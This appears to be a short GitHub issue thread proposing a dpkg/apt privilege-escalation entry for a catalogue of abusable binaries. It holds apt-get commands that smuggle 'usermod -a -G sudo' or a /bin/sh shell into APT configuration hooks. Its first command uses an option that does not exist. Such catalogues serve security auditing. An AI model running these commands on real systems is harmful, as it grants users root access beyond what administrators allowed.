[dpkg] priv esc

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geekscrapy opened this issue 4 years ago · 3 comments

dpkg -i -o DPkg::Pre-Install-Pkgs::="usermod -a -G sudo $(whoami)" any_package.deb

Answer 1 · 2021-06-28T12:31:42.000Z

Are you sure?

$ dpkg -o
dpkg: error: unknown option -o

Answer 2 · 2021-06-28T12:53:32.000Z

Hey, my bad got messed up during testing! I was reffering to the DPkg::Pre-Install-Pkgs configuration option.

sudo apt-get install cowsay -o DPkg::Pre-Install-Pkgs::="usermod -a -G sudo $(whoami)"

Answer 3 · 2021-06-28T22:21:30.000Z

Oh, no worries! But we already have a similar one:

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh